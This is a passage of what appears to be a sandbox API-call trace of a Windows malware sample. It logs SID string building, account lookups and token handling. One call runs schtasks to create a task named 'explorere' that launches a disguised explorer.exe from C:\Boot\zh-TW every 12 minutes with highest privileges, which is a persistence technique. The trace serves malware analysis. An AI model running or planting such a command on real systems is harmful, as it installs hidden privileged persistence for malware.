_Src=0x196ee7c7558, _Size=0x14 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0118.199] memcpy (in: _Dst=0x196ee777c1a, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee777c1a) returned 0x196ee777c1a [0118.199] free (_Block=0x196ef0d1a80) [0118.200] free (_Block=0x196ef0d1ac0) [0118.200] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0c30 [0118.200] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0118.200] malloc (_Size=0x18) returned 0x196ef0d1b40 [0118.200] malloc (_Size=0x18) returned 0x196ef0d19c0 [0118.200] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0118.200] SysStringLen (param_1="-") returned 0x1 [0118.200] memcpy (in: _Dst=0x196ee777708, _Src=0x196ee777c08, _Size=0x28 | out: _Dst=0x196ee777708) returned 0x196ee777708 [0118.200] memcpy (in: _Dst=0x196ee77772e, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee77772e) returned 0x196ee77772e [0118.200] free (_Block=0x196ef0d1c40) [0118.200] free (_Block=0x196ef0d1b40) [0118.200] malloc (_Size=0x18) returned 0x196ef0d1b00 [0118.200] malloc (_Size=0x18) returned 0x196ef0d19a0 [0118.200] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0118.200] SysStringLen (param_1="3990802383") returned 0xa [0118.200] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777708, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0118.200] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0118.200] free (_Block=0x196ef0d19c0) [0118.200] free (_Block=0x196ef0d1b00) [0118.201] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0c34 [0118.201] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0118.201] malloc (_Size=0x18) returned 0x196ef0d19c0 [0118.201] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0118.201] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0118.201] SysStringLen (param_1="-") returned 0x1 [0118.201] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0118.201] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0118.201] free (_Block=0x196ef0d19a0) [0118.201] free (_Block=0x196ef0d19c0) [0118.201] malloc (_Size=0x18) returned 0x196ef0d1e60 [0118.201] malloc (_Size=0x18) returned 0x196ef0d1e20 [0118.201] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0118.201] SysStringLen (param_1="1811730007") returned 0xa [0118.201] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0118.201] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0118.201] free (_Block=0x196ef0d1ba0) [0118.201] free (_Block=0x196ef0d1e60) [0118.201] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0c38 [0118.202] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0118.202] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0118.202] malloc (_Size=0x18) returned 0x196ef0d1e60 [0118.202] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0118.202] SysStringLen (param_1="-") returned 0x1 [0118.202] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0118.202] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0118.202] free (_Block=0x196ef0d1e20) [0118.202] free (_Block=0x196ef0d1cc0) [0118.202] malloc (_Size=0x18) returned 0x196ef0d19a0 [0118.202] malloc (_Size=0x18) returned 0x196ef0d1a60 [0118.202] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0118.202] SysStringLen (param_1="1000") returned 0x4 [0118.202] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0118.202] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7c7558, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0118.202] free (_Block=0x196ef0d1e60) [0118.202] free (_Block=0x196ef0d19a0) [0118.202] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0118.202] malloc (_Size=0x5e) returned 0x196ef0d0610 [0118.203] free (_Block=0x196ef0d1a60) [0118.203] malloc (_Size=0x18) returned 0x196ef0d1d20 [0118.203] free (_Block=0x196ef0d0610) [0118.203] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0118.205] GetLastError () returned 0x7a [0118.205] malloc (_Size=0x1a) returned 0x196ef0fa150 [0118.205] malloc (_Size=0xe) returned 0x196ef0d2020 [0118.205] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa150, cchName=0x67117c600, ReferencedDomainName=0x196ef0d2020, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0118.206] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0118.206] malloc (_Size=0x18) returned 0x196ef0d2000 [0118.206] free (_Block=0x196ef0fa150) [0118.206] free (_Block=0x196ef0d2020) [0118.206] free (_Block=0x196ef0f9df0) [0118.206] free (_Block=0x196ef0d2000) [0118.206] free (_Block=0x196ef0d1ce0) [0118.206] free (_Block=0x196ef0d1d20) [0118.207] free (_Block=0x196ef0d0c10) [0118.207] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0118.207] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0118.207] GetLastError () returned 0x7a [0118.207] malloc (_Size=0x2c) returned 0x196ef0d0e50 [0118.207] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0e50, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0e50, ReturnLength=0x67117c740) returned 1 [0118.207] IsValidSid (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0118.207] GetLengthSid (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0118.207] malloc (_Size=0x1c) returned 0x196ef0fa030 [0118.207] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa030, pSourceSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa030*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0118.207] GetSidIdentifierAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e62 [0118.207] malloc (_Size=0x18) returned 0x196ef0d1a20 [0118.208] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0118.208] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0118.208] malloc (_Size=0x18) returned 0x196ef0d1c40 [0118.208] SysStringLen (param_1="S-1-") returned 0x4 [0118.208] SysStringLen (param_1="5") returned 0x1 [0118.208] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7c7558, _Size=0xa | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0118.208] memcpy (in: _Dst=0x196ee7aaab0, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaab0) returned 0x196ee7aaab0 [0118.208] free (_Block=0x196ef0d1a20) [0118.208] free (_Block=0x196ef0d1ca0) [0118.208] GetSidSubAuthorityCount (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e61 [0118.208] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0e68 [0118.208] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0118.208] malloc (_Size=0x18) returned 0x196ef0d2020 [0118.208] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0118.208] SysStringLen (param_1="S-1-5") returned 0x5 [0118.208] SysStringLen (param_1="-") returned 0x1 [0118.208] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaaa8, _Size=0xc | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0118.208] memcpy (in: _Dst=0x196ee7aa9c2, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aa9c2) returned 0x196ee7aa9c2 [0118.208] free (_Block=0x196ef0d1c40) [0118.208] free (_Block=0x196ef0d2020) [0118.208] malloc (_Size=0x18) returned 0x196ef0d1c20 [0118.209] malloc (_Size=0x18) returned 0x196ef0d1be0 [0118.209] SysStringLen (param_1="S-1-5-") returned 0x6 [0118.209] SysStringLen (param_1="21") returned 0x2 [0118.209] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aa9b8, _Size=0xe | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0118.209] memcpy (in: _Dst=0x196ee7c7564, _Src=0x196ee7aaaa8, _Size=0x6 | out: _Dst=0x196ee7c7564) returned 0x196ee7c7564 [0118.209] free (_Block=0x196ef0d1fa0) [0118.209] free (_Block=0x196ef0d1c20) [0118.209] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0e6c [0118.209] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0118.209] malloc (_Size=0x18) returned 0x196ef0d1a20 [0118.209] malloc (_Size=0x18) returned 0x196ef0d1a60 [0118.209] SysStringLen (param_1="S-1-5-21") returned 0x8 [0118.209] SysStringLen (param_1="-") returned 0x1 [0118.209] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7c7558, _Size=0x12 | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0118.209] memcpy (in: _Dst=0x196ee7aaab8, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaab8) returned 0x196ee7aaab8 [0118.209] free (_Block=0x196ef0d1be0) [0118.209] free (_Block=0x196ef0d1a20) [0118.209] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0118.209] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0118.209] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0118.209] SysStringLen (param_1="1560258661") returned 0xa [0118.209] memcpy (in: _Dst=0x196ee777c08, _Src=0x196ee7aaaa8, _Size=0x14 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0118.210] memcpy (in: _Dst=0x196ee777c1a, _Src=0x196ee7c7558, _Size=0x16 | out: _Dst=0x196ee777c1a) returned 0x196ee777c1a [0118.210] free (_Block=0x196ef0d1a60) [0118.210] free (_Block=0x196ef0d1fa0) [0118.210] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0e70 [0118.210] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0118.210] malloc (_Size=0x18) returned 0x196ef0d1be0 [0118.210] malloc (_Size=0x18) returned 0x196ef0d1e60 [0118.210] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0118.210] SysStringLen (param_1="-") returned 0x1 [0118.210] memcpy (in: _Dst=0x196ee777708, _Src=0x196ee777c08, _Size=0x28 | out: _Dst=0x196ee777708) returned 0x196ee777708 [0118.210] memcpy (in: _Dst=0x196ee77772e, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee77772e) returned 0x196ee77772e [0118.210] free (_Block=0x196ef0d1ca0) [0118.210] free (_Block=0x196ef0d1be0) [0118.210] malloc (_Size=0x18) returned 0x196ef0d1e80 [0118.210] malloc (_Size=0x18) returned 0x196ef0d1a60 [0118.210] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0118.210] SysStringLen (param_1="3990802383") returned 0xa [0118.210] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777708, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0118.210] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0118.210] free (_Block=0x196ef0d1e60) [0118.210] free (_Block=0x196ef0d1e80) [0118.211] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0e74 [0118.211] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0118.211] malloc (_Size=0x18) returned 0x196ef0d1a20 [0118.211] malloc (_Size=0x18) returned 0x196ef0d1d20 [0118.211] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0118.211] SysStringLen (param_1="-") returned 0x1 [0118.211] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0118.211] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0118.211] free (_Block=0x196ef0d1a60) [0118.211] free (_Block=0x196ef0d1a20) [0118.211] malloc (_Size=0x18) returned 0x196ef0d1a20 [0118.211] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0118.211] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0118.211] SysStringLen (param_1="1811730007") returned 0xa [0118.211] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0118.211] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0118.211] free (_Block=0x196ef0d1d20) [0118.211] free (_Block=0x196ef0d1a20) [0118.211] GetSidSubAuthority (pSid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0e78 [0118.211] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0118.211] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0118.212] malloc (_Size=0x18) returned 0x196ef0d1f20 [0118.212] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0118.212] SysStringLen (param_1="-") returned 0x1 [0118.212] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0118.212] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0118.212] free (_Block=0x196ef0d1ba0) [0118.212] free (_Block=0x196ef0d1aa0) [0118.212] malloc (_Size=0x18) returned 0x196ef0d1d40 [0118.212] malloc (_Size=0x18) returned 0x196ef0d1a80 [0118.212] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0118.212] SysStringLen (param_1="1000") returned 0x4 [0118.212] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0118.212] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aaaa8, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0118.212] free (_Block=0x196ef0d1f20) [0118.212] free (_Block=0x196ef0d1d40) [0118.212] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0118.212] malloc (_Size=0x5e) returned 0x196ef0d0680 [0118.212] free (_Block=0x196ef0d1a80) [0118.212] malloc (_Size=0x18) returned 0x196ef0d1f00 [0118.213] free (_Block=0x196ef0d0680) [0118.213] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0118.232] GetLastError () returned 0x7a [0118.232] malloc (_Size=0x1a) returned 0x196ef0f9fd0 [0118.232] malloc (_Size=0xe) returned 0x196ef0d1d20 [0118.232] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9fd0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0118.233] malloc (_Size=0x18) returned 0x196ef0d1a20 [0118.233] malloc (_Size=0x18) returned 0x196ef0d1e60 [0118.233] free (_Block=0x196ef0f9fd0) [0118.233] free (_Block=0x196ef0d1d20) [0118.233] free (_Block=0x196ef0fa030) [0118.234] free (_Block=0x196ef0d1e60) [0118.234] free (_Block=0x196ef0d1a20) [0118.234] free (_Block=0x196ef0d1f00) [0118.234] free (_Block=0x196ef0d0e50) [0118.235] SetEvent (hEvent=0x248) returned 1 [0118.235] free (_Block=0x196ef0d5640) [0118.235] CreateEnvironmentBlock () returned 0x1 [0118.240] malloc (_Size=0x18) returned 0x196ef0d1d20 [0118.240] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1324, dwThreadId=0x132c)) returned 1 [0118.247] CloseHandle (hObject=0x260) returned 1 [0118.247] CloseHandle (hObject=0x264) returned 1 [0118.248] free (_Block=0x196ef0d1d20) [0118.248] DestroyEnvironmentBlock () returned 0x1 [0118.248] malloc (_Size=0x48) returned 0x196ef0d6310 [0118.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2756dd5e, dwHighDateTime=0x1d9eb0c)) [0118.248] SetEvent (hEvent=0x248) returned 1 [0118.248] CloseHandle (hObject=0x26c) returned 1 [0118.248] CloseHandle (hObject=0x270) returned 1 [0118.253] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0118.253] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0118.253] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0118.253] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0119.305] RtlRestoreLastWin32Error () returned 0x670dbf000 [0119.305] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0119.305] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0119.305] RtlRestoreLastWin32Error () returned 0x670dbf000 [0119.305] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0119.305] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0119.305] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0119.306] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0119.306] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0119.306] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0119.308] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0119.309] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0119.309] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0119.309] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0119.310] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0119.312] GetCurrentThread () returned 0xfffffffffffffffe [0119.312] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0119.313] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0119.313] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0119.313] GetLastError () returned 0x7a [0119.313] malloc (_Size=0x2c) returned 0x196ef0d1550 [0119.313] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1550, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1550, ReturnLength=0x67117c740) returned 1 [0119.313] IsValidSid (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0119.313] GetLengthSid (pSid=0x196ef0d1560*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 